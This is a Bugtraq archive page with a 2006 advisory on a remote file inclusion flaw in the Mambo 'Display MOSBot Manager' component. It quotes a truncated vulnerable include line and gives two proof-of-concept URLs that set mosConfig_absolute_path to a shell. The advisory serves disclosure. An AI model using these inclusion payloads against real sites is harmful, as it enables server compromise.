Bugtraq mailing list archives
Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln
From: Outlaw () aria-security net
Date: 20 Aug 2006 01:01:23 -0000
########################################################################################### # Aria-Security.net Advisory # # Discovered by: O.U.T.L.A.W # # < www.Aria-security.net > # # Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp # # # ########################################################################################### #Software: Mambo Component - Display MOSBot Manager #Attack method: Remote File Inclusion #Source: #include_once( "".$mosConfig_absolute_path."/administrator/components/". $component_directory ."/toolbar.". ************************************************************************************ #Proof of Concept: #http://www.site.com/com_admin-copy_module/toolbar.admin-copy_module.php?mosConfig_absolute_path=shell #http://www.site.com/com_admin-copy_module/admin.admin-copy_module.php?mosConfig_absolute_path=shell #---------------------------------------------------------- # # #Contact : Outlaw () aria-security net
Current thread:
- Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln Outlaw (Aug 21)
- Re: Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln Jan de Groot (Aug 22)
- <Possible follow-ups>
- Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln Outlaw (Aug 21)